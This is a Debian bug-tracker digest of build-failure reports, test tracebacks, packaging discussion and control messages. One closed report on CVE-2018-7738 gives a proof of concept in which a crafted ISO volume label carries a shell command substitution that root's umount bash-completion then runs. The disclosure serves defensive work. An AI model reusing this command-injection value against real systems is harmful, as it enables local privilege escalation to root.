message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891124: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891124
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: python-oslo.cache
Version: 1.28.0-1
Severity: serious
Justification: fails to build from source

Hi,

python-oslo.cache/experimental FTBFS due to missing python modules:

[...]
===> Testing with python (python3)
+ [ -e .stestr.conf ]
+ [ -e .testr.conf ]
+ rm -rf .testrepository
+ testr-python3 init
+ mktemp -t
+ TEMP_REZ=/tmp/tmp.ZrHRZ4xdyG
+ tee /tmp/tmp.ZrHRZ4xdyG
+ pwd
+ subunit2pyunit
+ PYTHONPATH=/build/python-oslo.cache-1.28.0 PYTHON=python3.6 testr-python3 run 
--subunit
unittest2.loader._FailedTest.oslo_cache.tests.functional.test_cache_backend_etcd3gw
unittest2.loader._FailedTest.oslo_cache.tests.functional.test_cache_backend_etcd3gw
 ... FAIL
unittest2.loader._FailedTest.oslo_cache.tests.test_cache
unittest2.loader._FailedTest.oslo_cache.tests.test_cache ... FAIL
unittest2.loader._FailedTest.oslo_cache.tests.test_cache_backend_mongo
unittest2.loader._FailedTest.oslo_cache.tests.test_cache_backend_mongo ... FAIL
unittest2.loader._FailedTest.oslo_cache.tests.test_connection_pool
unittest2.loader._FailedTest.oslo_cache.tests.test_connection_pool ... FAIL
unittest2.loader._FailedTest.oslo_cache.tests.test_dict_backend
unittest2.loader._FailedTest.oslo_cache.tests.test_dict_backend ... FAIL
running=OS_STDOUT_CAPTURE=${OS_STDOUT_CAPTURE:-1} \
OS_STDERR_CAPTURE=${OS_STDERR_CAPTURE:-1} \
OS_TEST_TIMEOUT=${OS_TEST_TIMEOUT:-60} \
${PYTHON:-python} -m subunit.run discover -t ./ ./oslo_cache  

==
FAIL: 
unittest2.loader._FailedTest.oslo_cache.tests.functional.test_cache_backend_etcd3gw
unittest2.loader._FailedTest.oslo_cache.tests.functional.test_cache_backend_etcd3gw
--
_StringException: Traceback (most recent call last):
ImportError: Failed to import test module: 
oslo_cache.tests.functional.test_cache_backend_etcd3gw
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/unittest2/loader.py", line 456, in 
_find_test_path
module = self._get_module_from_name(name)
  File "/usr/lib/python3/dist-packages/unittest2/loader.py", line 395, in 
_get_module_from_name
__import__(name)
  File 
"/build/python-oslo.cache-1.28.0/oslo_cache/tests/functional/test_cache_backend_etcd3gw.py",
 line 17, in 
import urllib3
ModuleNotFoundError: No module named 'urllib3'


==
FAIL: unittest2.loader._FailedTest.oslo_cache.tests.test_cache
unittest2.loader._FailedTest.oslo_cache.tests.test_cache
--
_StringException: Traceback (most recent call last):
ImportError: Failed to import test module: oslo_cache.tests.test_cache
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/unittest2/loader.py", line 456, in 
_find_test_path
module = self._get_module_from_name(name)
  File "/usr/lib/python3/dist-packages/unittest2/loader.py", line 395, in 
_get_module_from_name
__import__(name)
  File "/build/python-oslo.cache-1.28.0/oslo_cache/tests/test_cache.py", line 
24, in 
from oslotest import base
ModuleNotFoundError: No module named 'oslotest'


==
FAIL: unittest2.loader._FailedTest.oslo_cache.tests.test_cache_backend_mongo
unittest2.loader._FailedTest.oslo_cache.tests.test_cache_backend_mongo
--
_StringException: Traceback (most recent call last):
ImportError: Failed to import test module: 
oslo_cache.tests.test_cache_backend_mongo
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/unittest2/loader.py", line 456, in 
_find_test_path
module = self._get_module_from_name(name)
  File "/usr/lib/python3/dist-packages/unittest2/loader.py", line 395, in 
_get_module_from_name
__import__(name)
  File 
"/build/python-oslo.cache-1.28.0/oslo_cache/tests/test_cache_backend_mongo.py", 
line 27, in 
from oslo_cache.tests import test_cache
  File 

Bug#891126: python-proliantutils: FTBFS with TypeError: refresh() got an unexpected keyword argument 'force'

[Thomas Goirand]

Hi Andreas,

Could you try again to build the package? I just did with sbuild, and it
was building fine. Could it be that I wasn't finished uploading the rest
of OpenStack to Sid?

Cheers,

Thomas Goirand (zigo)

Bug#891360: marked as done (python-magnumclient FTBFS: test failures)

[Debian Bug Tracking System]

Your message dated Wed, 7 Mar 2018 21:30:38 +0100
with message-id <355c8d26-7ebc-3806-1a54-0bab7fba8...@debian.org>
and subject line Fixed in 2.8.0-1
has caused the Debian Bug report #891360,
regarding python-magnumclient FTBFS: test failures
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891360: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891360
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: python-magnumclient
Version: 2.7.0-4
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/python-magnumclient.html

...
==
FAIL: magnumclient.tests.test_shell.ShellTest.test_main_endpoint_internal
magnumclient.tests.test_shell.ShellTest.test_main_endpoint_internal
--
_StringException: Traceback (most recent call last):
  File "/usr/lib/python2.7/dist-packages/mock/mock.py", line 1305, in patched
return func(*args, **keywargs)
  File "magnumclient/tests/test_shell.py", line 296, in 
test_main_endpoint_internal
mock_client.assert_called_once_with(**expected_args)
  File "/usr/lib/python2.7/dist-packages/mock/mock.py", line 948, in 
assert_called_once_with
return self.assert_called_with(*args, **kwargs)
  File "/usr/lib/python2.7/dist-packages/mock/mock.py", line 937, in 
assert_called_with
six.raise_from(AssertionError(_error_message(cause)), cause)
  File "/usr/lib/python2.7/dist-packages/six.py", line 737, in raise_from
raise value
AssertionError: Expected call: Client(api_version='latest', auth_token=None, 
auth_url='http://no.where/v2.0', cloud=None, insecure=False, 
interface='internal', magnum_url=None, password='password', profile=None, 
project_domain_id=None, project_domain_name=None, project_id=None, 
project_name='project_name', region_name=None, service_type='container-infra', 
user_domain_id=None, user_domain_name=None, user_id=None, username='username')
Actual call: Client(api_version='latest', auth_token=None, 
auth_url='http://no.where/v2.0', cloud=None, insecure=False, 
interface='internal', magnum_url=None, password='password', 
project_domain_id=None, project_domain_name=None, project_id=None, 
project_name='project_name', region_name=None, service_type='container-infra', 
user_domain_id=None, user_domain_name=None, user_id=None, username='username')


==
FAIL: magnumclient.tests.test_shell.ShellTestKeystoneV3.test_main_no_region
magnumclient.tests.test_shell.ShellTestKeystoneV3.test_main_no_region
--
_StringException: Traceback (most recent call last):
  File "magnumclient/tests/test_shell.py", line 280, in test_main_no_region
self._test_main_region('bay-list', None)
  File "/usr/lib/python2.7/dist-packages/mock/mock.py", line 1305, in patched
return func(*args, **keywargs)
  File "magnumclient/tests/test_shell.py", line 266, in _test_main_region
mock_client.assert_called_once_with(**expected_args)
  File "/usr/lib/python2.7/dist-packages/mock/mock.py", line 948, in 
assert_called_once_with
return self.assert_called_with(*args, **kwargs)
  File "/usr/lib/python2.7/dist-packages/mock/mock.py", line 937, in 
assert_called_with
six.raise_from(AssertionError(_error_message(cause)), cause)
  File "/usr/lib/python2.7/dist-packages/six.py", line 737, in raise_from
raise value
AssertionError: Expected call: Client(api_version='latest', auth_token=None, 
auth_url='http://no.where/v3', cloud=None, insecure=False, interface='public', 
magnum_url=None, password='password', profile=None, project_domain_id=None, 
project_domain_name=None, project_id=None, project_name='project_name', 
region_name=None, service_type='container-infra', user_domain_id=None, 
user_domain_name=None, user_id=None, username='username')
Actual call: Client(api_version='latest', auth_token=None, 
auth_url='http://no.where/v3', cloud=None, insecure=False, interface='public', 
magnum_url=None, password='password', project_domain_id=None, 
project_domain_name=None, project_id=None, project_name='project_name', 
region_name=None, service_type='container-infra', user_domain_id=None, 
user_domain_name=None, user_id=None, username='username')


==
FAIL: magnumclient.tests.test_shell.ShellTest.test_main_os_cloud
magnumclient.tests.test_shell.ShellTest.test_main_os_cloud

Bug#890665: Bug #890665

[gpe]

Le mercredi 07 mars 2018 à 21:11 +0100, gpe a écrit :
> Le mardi 06 mars 2018 à 11:07 +0200, Jonathan Carter (highvoltage) a écrit :
> > Hi
> > 
> > Does this still happen on your system?
> > 
> > https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=890665
> > 
> > I just enabled it on my unstable system and it seems to load both the
> > extension and it's settings manager just fine. Will try it on a clean
> > unstable system next.
> > 
> > -Jonathan
> 
> Hi,
> 
> It's ok now but I don't know if it is due to a debian correction or if it is
> related to an update of the extension. How can I see the version of an
> extension?
> 
> Regards.


I found the version. My extension is the version 34. So it is not the debian
one. So I don't know if the debian version (which is 33) works or not.

Regards.

Bug#890665: Bug #890665

[gpe]

Le mardi 06 mars 2018 à 11:07 +0200, Jonathan Carter (highvoltage) a écrit :
> Hi
> 
> Does this still happen on your system?
> 
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=890665
> 
> I just enabled it on my unstable system and it seems to load both the
> extension and it's settings manager just fine. Will try it on a clean
> unstable system next.
> 
> -Jonathan

Hi,

It's ok now but I don't know if it is due to a debian correction or if it is
related to an update of the extension. How can I see the version of an
extension?

Regards.

Processed: Raising severity

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> severity 864184 serious
Bug #864184 [oping] oping: No more works as non-root
Severity set to 'serious' from 'important'
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
864184: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=864184
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#887967: [Pkg-pascal-devel] Bug#887967 closed by Abou Al Montacir <abou.almonta...@sfr.fr> (Bug#887967: fixed in fpc 3.0.4+dfsg-14)

[Graham Inggs]

On 7 March 2018 at 20:47, Paul Gevers  wrote:
>>> This can be worked around by the following change in debian/rules:
>>>
>>> -export FPCDIR=/usr/lib/fpc/${FPCDIR}
>>> +export FPCDIR=/usr/lib/$(DEB_HOST_MULTIARCH)/fpc/default
>
> @Graham, have you verified this?

It worked for in a local build on amd64.

> On arm64 the situation if fully different. Clean doesn't work (which
> could be easily worked around in multiple ways). I.e. this should not be
> blocking for building on arm64.

arm64 is fixed in Ubuntu, patch in comment 23 of #803986
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=803986#23

Processed: bug 888139 is forwarded to https://github.com/log2timeline/dfvfs/issues/262

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> forwarded 888139 https://github.com/log2timeline/dfvfs/issues/262
Bug #888139 [src:dfvfs] dfvfs FTBFS: ERROR: testScanFVDE 
(helpers.source_scanner.SourceScannerTest)
Set Bug forwarded-to-address to 
'https://github.com/log2timeline/dfvfs/issues/262'.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
888139: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=888139
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#887967: [Pkg-pascal-devel] Bug#887967 closed by Abou Al Montacir <abou.almonta...@sfr.fr> (Bug#887967: fixed in fpc 3.0.4+dfsg-14)

[Paul Gevers]

Hi

Additional note, I got the same error¹ on debomatic² while debugging the
FTBFS of lazarus on mips/mipsel. Interestingly enough the exact same
source build succeeded on the build infrastructure. So maybe something
flaky IS going on.

Paul

¹ find * -name Makefile.fpc -exec fpcmake -Tall -q '{}' ';'
Error: Target "linux", package "rtl" not found
...
²
http://debomatic-mips.debian.net/distribution#unstable/lazarus/1.8.2+dfsg-2/buildlog



signature.asc
Description: OpenPGP digital signature

Bug#887967: [Pkg-pascal-devel] Bug#887967 closed by Abou Al Montacir <abou.almonta...@sfr.fr> (Bug#887967: fixed in fpc 3.0.4+dfsg-14)

[Paul Gevers]

Hi  all,

On 07-03-18 18:28, Michalis Kamburelis wrote:
> "2018-03-07 16:46 GMT+01:00 Graham Inggs :
>> On Tue, 23 Jan 2018 08:46:09 +0200 Adrian Bunk  wrote:
>>>
>>> This problem is unfortunately still present with fpc 3.0.4+dfsg-14:
>>>
>>> https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/transgui.html

Yes, but not for i386 and armhf. Weird.

>> This can be worked around by the following change in debian/rules:
>>
>> -export FPCDIR=/usr/lib/fpc/${FPCDIR}
>> +export FPCDIR=/usr/lib/$(DEB_HOST_MULTIARCH)/fpc/default

@Graham, have you verified this?

> It seems that transgui is using an older "fpcmake" system (depending
> on Makefile which is auto-generated based on "Makefile.fpc" contents).
> The auto-detection is in a different place then, although it is also
> overridden by $FPCDIR environment variable.

transgui is calling fpcmake in d/rules, so it is regenerating all the
Makefiles (which is good). The failure happens DURING the call to fpcmake.

On arm64 the situation if fully different. Clean doesn't work (which
could be easily worked around in multiple ways). I.e. this should not be
blocking for building on arm64.

Paul



signature.asc
Description: OpenPGP digital signature

Bug#888118: marked as done (homesick: FTBFS on ruby2.5: test fail: got: ("GEM_SKIP"))

[Debian Bug Tracking System]

Your message dated Wed, 07 Mar 2018 17:34:39 +
with message-id 
and subject line Bug#888118: fixed in homesick 1.1.6-2
has caused the Debian Bug report #888118,
regarding homesick: FTBFS on ruby2.5: test fail: got: ("GEM_SKIP")
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
888118: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=888118
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: homesick
Version: 1.1.6-1
Severity: important
User: debian-r...@lists.debian.org
Usertags: ruby2.5

Dear Maintainer,

This package fails to build against ruby2.5. Soon, there will
be a transition to ruby2.5, and this package will FTBFS in sid.

There may be some details on the wiki about common problems:
https://wiki.debian.org/Teams/Ruby/Ruby25Transition

┌──┐
│ Run tests for ruby2.5 from debian/ruby-tests.rake│
└──┘

RUBYLIB=/build/homesick-1.1.6/debian/homesick/usr/lib/ruby/vendor_ruby:. 
GEM_PATH=debian/homesick/usr/share/rubygems-integration/all:/root/.gem/ruby/2.5.0:/var/lib/gems/2.5.0:/usr/lib/x86_64-linux-gnu/rubygems-integration/2.5.0:/usr/share/rubygems-integration/2.5.0:/usr/share/rubygems-integration/all
 ruby2.5 -S rake -f debian/ruby-tests.rake
/usr/bin/ruby2.5 /usr/bin/rspec --pattern ./spec/\*_spec.rb
[Coveralls] Set up the SimpleCov formatter.
[Coveralls] Using SimpleCov's default settings.
FF...

Failures:

  1) Homesick::CLI open returns an error message when the $EDITOR environment 
variable is not set
 Failure/Error: after { home.destroy! }

   {"DEB_HOST_GNU[...]4", "LC_MESSAGES"=>"C"} received :[] with unexpected 
arguments
 expected: ("EDITOR")
  got: ("GEM_SKIP")
Please stub a default value first if message might be received with 
other args as well. 
 # ./spec/homesick_cli_spec.rb:8:in `block (2 levels) in '

  2) Homesick::CLI open returns an error message when the given castle does not 
exist
 Failure/Error: after { home.destroy! }

...

Finished in 2.97 seconds (files took 1.45 seconds to load)
73 examples, 2 failures

Failed examples:

rspec ./spec/homesick_cli_spec.rb:743 # Homesick::CLI open returns an error 
message when the $EDITOR environment variable is not set
rspec ./spec/homesick_cli_spec.rb:751 # Homesick::CLI open returns an error 
message when the given castle does not exist

/usr/bin/ruby2.5 /usr/bin/rspec --pattern ./spec/\*_spec.rb failed
ERROR: Test "ruby2.5" failed. Exiting.
dh_auto_install: dh_ruby --install /build/homesick-1.1.6/debian/homesick 
returned exit code 1
debian/rules:15: recipe for target 'binary' failed
make: *** [binary] Error 1
dpkg-buildpackage: error: debian/rules binary subprocess returned exit status 2

Full build log:
https://rbuild.fau.xxx/2018-01-23/homesick.log
--- End Message ---
--- Begin Message ---
Source: homesick
Source-Version: 1.1.6-2

We believe that the bug you reported is fixed in the latest version of
homesick, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 888...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Balint Reczey  (supplier of updated homesick package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Wed, 07 Mar 2018 17:50:13 +0100
Source: homesick
Binary: homesick
Architecture: source
Version: 1.1.6-2
Distribution: unstable
Urgency: medium
Maintainer: Debian Ruby Extras Maintainers 

Changed-By: Balint Reczey 
Description:
 homesick   - keep your dotfiles (configs) in git
Closes: 888118
Changes:
 homesick (1.1.6-2) unstable; urgency=medium
 .
   * Fix FTBFS due to test failures (Closes: #888118)
Checksums-Sha1:
 bb2cf3ed1634073debd6bc9f72bfdd7a4f6b9bf0 2127 homesick_1.1.6-2.dsc
 efc6a9ddf3ea30b0d421d5c68b6d9a5d117741b8 5032 homesick_1.1.6-2.debian.tar.xz
 

Bug#887967: [Pkg-pascal-devel] Bug#887967 closed by Abou Al Montacir <abou.almonta...@sfr.fr> (Bug#887967: fixed in fpc 3.0.4+dfsg-14)

[Paul Gevers]

Hi Graham,

On 07-03-18 16:46, Graham Inggs wrote:
> On Tue, 23 Jan 2018 08:46:09 +0200 Adrian Bunk  wrote:
>> This problem is unfortunately still present with fpc 3.0.4+dfsg-14:
>> https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/transgui.html
>>
> 
> This can be worked around by the following change in debian/rules:
> 
> -export FPCDIR=/usr/lib/fpc/${FPCDIR}
> +export FPCDIR=/usr/lib/$(DEB_HOST_MULTIARCH)/fpc/default
> 
> However, it was my understanding that this was supposed to be fixed in
> FPC, so forwarding to the Pascal list for comment.

No, FPC would fix the default behavior. When FPCDIR is defined in
debian/rules, it must match. I wonder, does building work without
defining FPCDIR at all?

Paul




signature.asc
Description: OpenPGP digital signature

Bug#887967: [Pkg-pascal-devel] Bug#887967 closed by Abou Al Montacir <abou.almonta...@sfr.fr> (Bug#887967: fixed in fpc 3.0.4+dfsg-14)

[Michalis Kamburelis]

"2018-03-07 16:46 GMT+01:00 Graham Inggs :
> On Tue, 23 Jan 2018 08:46:09 +0200 Adrian Bunk  wrote:
>>
>> This problem is unfortunately still present with fpc 3.0.4+dfsg-14:
>>
>> https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/transgui.html
>
>
> This can be worked around by the following change in debian/rules:
>
> -export FPCDIR=/usr/lib/fpc/${FPCDIR}
> +export FPCDIR=/usr/lib/$(DEB_HOST_MULTIARCH)/fpc/default
>
> However, it was my understanding that this was supposed to be fixed in FPC,
> so forwarding to the Pascal list for comment.
>

The recent fix in the Debian package of FPC was for the FpMake build
system, http://wiki.freepascal.org/FPMake . It tries to auto-detect
the standard units location, but can be overridden by $FPCDIR
environment variable. The auto-detection was fixed in this case,
removing the need for $FPCDIR.

It seems that transgui is using an older "fpcmake" system (depending
on Makefile which is auto-generated based on "Makefile.fpc" contents).
The auto-detection is in a different place then, although it is also
overridden by $FPCDIR environment variable.

You can see how this works in case of transgui :

- This is the source file:
https://github.com/transmission-remote-gui/transgui/blob/master/Makefile.fpc
- And developer calls "fpcmake" to generate a Makefile like this:
https://github.com/transmission-remote-gui/transgui/blob/master/Makefile

Searching the generated Makefile, there is a line that tries to
auto-guess the FPC library location:
https://github.com/transmission-remote-gui/transgui/blob/master/Makefile#L226
. So possibly it can be fixed in FPC package in Debian too.

Regards,
Michalis

Processed: affects 890751

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> affects 890751 src:ruby-pygments.rb src:puma
Bug #890751 [src:rake] rake FTBFS with Ruby 2.5: cannot load such file -- 
ubygems (LoadError)
Added indication that 890751 affects src:ruby-pygments.rb and src:puma
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
890751: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=890751
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Bug #888118 in homesick marked as pending

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #888118 [src:homesick] homesick: FTBFS on ruby2.5: test fail: got: 
("GEM_SKIP")
Added tag(s) pending.

-- 
888118: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=888118
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#888118: Bug #888118 in homesick marked as pending

[balint . reczey]

Control: tag -1 pending

Hello,

Bug #888118 in homesick reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below, and you can check the diff of the fix at:

https://salsa.debian.org/ruby-team/homesick/commit/77ae45c5b91744637d4d4da7a12d929830445b98


Fix FTBFS due to test failures

Closes: #888118



(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/888118

Bug#891434:

[Rann Bar-On]

Is this still the case with 2.02+dfsg1-3 or has it been fixed?

Bug#824628: golang-metrics-dev and golang-github-rcrowley-go-metrics-dev: error when trying to install together

[Andreas Beckmann]

Followup-For: Bug #824628

Same problem as two years ago:

  Selecting previously unselected package golang-github-rcrowley-go-metrics-dev.
  Preparing to unpack 
.../golang-github-rcrowley-go-metrics-dev_0.0~git20180125.8732c61-1_all.deb ...
  Unpacking golang-github-rcrowley-go-metrics-dev (0.0~git20180125.8732c61-1) 
...
  dpkg: error processing archive 
/var/cache/apt/archives/golang-github-rcrowley-go-metrics-dev_0.0~git20180125.8732c61-1_all.deb
 (--unpack):
   trying to overwrite 
'/usr/share/gocode/src/github.com/rcrowley/go-metrics/cmd/metrics-bench/metrics-bench.go',
 which is also in package golang-metrics-dev 0.0~git20150823-3
  Errors were encountered while processing:
   
/var/cache/apt/archives/golang-github-rcrowley-go-metrics-dev_0.0~git20180125.8732c61-1_all.deb


Andreas

Bug#892179: marked as done (util-linux: CVE-2018-7738: code execution in bash-completion for umount)

[Debian Bug Tracking System]

Your message dated Wed, 07 Mar 2018 16:36:44 +
with message-id 
and subject line Bug#892179: fixed in util-linux 2.31.1-0.5
has caused the Debian Bug report #892179,
regarding util-linux: CVE-2018-7738: code execution in bash-completion for 
umount
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
892179: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892179
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: bash-completion
Version: 1:2.1-4.3
Severity: grave
Tags: security

Hi,

when bash-completion is installed, it uses
/usr/share/bash-completion/completions/umount from umount package to
provide autocompletion. This script does not escape mount paths
correctly, so it allows a local user with rights to mount filesystems to
execute commands in the context of the umount user (probably root).
Unprivileged users can mount filesystems with custom mountpoints using
udisks2, FUSE or with the help of desktop environments.

Example:

as regular user:
--
$ mkdir empty

$ genisoimage -o test.iso -V '$(IFS=":";cmd="touch:foo";$cmd)' empty
I: -input-charset not specified, using utf-8 (detected in locale settings)
Total translation table size: 0
Total rockridge attributes bytes: 0
Total directory bytes: 0
Path table size(bytes): 10
Max brk space used 0
174 extents written (0 MB)

$ udisksctl loop-setup -f test.iso
Mapped file test.iso as /dev/loop0.

(if not mounted by automounter already)
$ udisksctl mount -b /dev/loop0
Mounted /dev/loop0 at /media/user/$(IFS=":";cmd="touch:foo";$cmd).
--

as different user or even root:
--
# ls -la
total 28
drwxr-xr-x  2 root root  4096 Feb 14 10:00 .
drwxrwxrwt 29 root root 24576 Feb 14 10:00 ..

# umount  ^C

# ls -la
total 28
drwxr-xr-x  2 root root  4096 Feb 14 10:01 .
drwxrwxrwt 29 root root 24576 Feb 14 10:00 ..
-rw-r--r--  1 root root 0 Feb 14 10:01 foo
--

I tested it using latest Debian GNU/Linux 9.3 (stretch) using default
installation with desktop environment.
Involved packages:
mount 2.29.2-1
bash 4.4-5
bash-completion 1:2.1-4.3
genisoimage 9:1.1.11-3+b2
udisks2 2.1.8-1

uname -a
Linux id382 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02)
x86_64 GNU/Linux

It seems to be fixed in upstream util-linux already because of a similar
bugfix:
https://github.com/karelzak/util-linux/commit/75f03badd7ed9f1dd951863d75e756883d3acc55#diff-a47601b5dbce9dc06c3af1deb02758c7

Björn Bosselmann
G DATA Software AG


-- System Information:
Debian Release: 9.3
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-6-amd64 (SMP w/8 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8),
LANGUAGE= (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages bash-completion depends on:
ii  bash  4.4-5
ii  dpkg  1.18.24

bash-completion recommends no packages.

bash-completion suggests no packages.

-- no debconf information






signature.asc
Description: OpenPGP digital signature
--- End Message ---
--- Begin Message ---
Source: util-linux
Source-Version: 2.31.1-0.5

We believe that the bug you reported is fixed in the latest version of
util-linux, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 892...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Salvatore Bonaccorso  (supplier of updated util-linux 
package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Tue, 06 Mar 2018 22:31:39 +0100
Source: util-linux
Binary: util-linux util-linux-locales mount bsdutils fdisk fdisk-udeb libblkid1 
libblkid1-udeb libblkid-dev libfdisk1 libfdisk1-udeb libfdisk-dev libmount1 
libmount1-udeb libmount-dev libsmartcols1 libsmartcols1-udeb libsmartcols-dev 
libuuid1 uuid-runtime libuuid1-udeb uuid-dev util-linux-udeb setpriv rfkill
Architecture: source
Version: 2.31.1-0.5
Distribution: unstable
Urgency: medium
Maintainer: LaMont Jones 

Bug#848419: marked as done (trac-announcer: FTBFS in stretch (failing tests))

[Debian Bug Tracking System]

Your message dated Wed, 07 Mar 2018 16:36:28 +
with message-id 
and subject line Bug#848419: fixed in trac-announcer 1.2.0+r16900-1
has caused the Debian Bug report #848419,
regarding trac-announcer: FTBFS in stretch (failing tests)
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
848419: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=848419
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: src:trac-announcer
Version: 0.12.1+r14934-2
Severity: serious

Dear maintainer:

I tried to build this package in stretch with "dpkg-buildpackage -A"
(which is what the "Arch: all" autobuilder would do to build it)
but it failed:


[...]
 debian/rules build-indep
dh build-indep --with python2 --buildsystem=pybuild
dh: Compatibility levels before 9 are deprecated (level 7 in use)
   dh_testdir -i -O--buildsystem=pybuild
   dh_update_autotools_config -i -O--buildsystem=pybuild
   dh_auto_configure -i -O--buildsystem=pybuild
dh_auto_configure: Compatibility levels before 9 are deprecated (level 7 in use)
I: pybuild base:184: python2.7 setup.py config 
running config
   dh_auto_build -i -O--buildsystem=pybuild
dh_auto_build: Compatibility levels before 9 are deprecated (level 7 in use)
I: pybuild base:184: /usr/bin/python setup.py build 
running build

[... snipped ...]

--
Traceback (most recent call last):
  File 
"/<>/trac-announcer-0.12.1+r14934/trunk/announcer/opt/tests/subscribers.py",
 line 34, in setUp
self.db = self.env.get_db_cnx()
AttributeError: 'EnvironmentStub' object has no attribute 'get_db_cnx'

==
ERROR: test_init (announcer.opt.tests.subscribers.UserChangeSubscriberTestCase)
--
Traceback (most recent call last):
  File 
"/<>/trac-announcer-0.12.1+r14934/trunk/announcer/opt/tests/subscribers.py",
 line 34, in setUp
self.db = self.env.get_db_cnx()
AttributeError: 'EnvironmentStub' object has no attribute 'get_db_cnx'

==
ERROR: test_init (announcer.opt.tests.subscribers.WatchSubscriberTestCase)
--
Traceback (most recent call last):
  File 
"/<>/trac-announcer-0.12.1+r14934/trunk/announcer/opt/tests/subscribers.py",
 line 34, in setUp
self.db = self.env.get_db_cnx()
AttributeError: 'EnvironmentStub' object has no attribute 'get_db_cnx'

==
ERROR: test_rename_wiki_page 
(announcer.opt.tests.subscribers.WikiWatchSubscriberTestCase)
--
Traceback (most recent call last):
  File 
"/<>/trac-announcer-0.12.1+r14934/trunk/announcer/opt/tests/subscribers.py",
 line 34, in setUp
self.db = self.env.get_db_cnx()
AttributeError: 'EnvironmentStub' object has no attribute 'get_db_cnx'

==
FAIL: test_add_attachment_html_notification 
(announcer.tests.formatters.TicketFormatterTestCase)
--
Traceback (most recent call last):
  File 
"/<>/trac-announcer-0.12.1+r14934/trunk/announcer/tests/formatters.py",
 line 63, in test_add_attachment_html_notification
self.assertEqual(expected, actual)
AssertionError: 'http://www.w3.org/1999/xhtml;>\n  \n
#1: Some ticket summary\n\n  body {\n
font: medium "Lucida Grande", Lucida, Verdana, sans-serif;\n  }\n  
.header {\nfont-size: large;\n  }\n  .ticketbox {\n
background-color: #fefcd3;\nwidth: 90%;\npadding: .5em 1em;\n   
 border-style: outset;\nborder-width: 1px;\nmargin: 2px;\n  
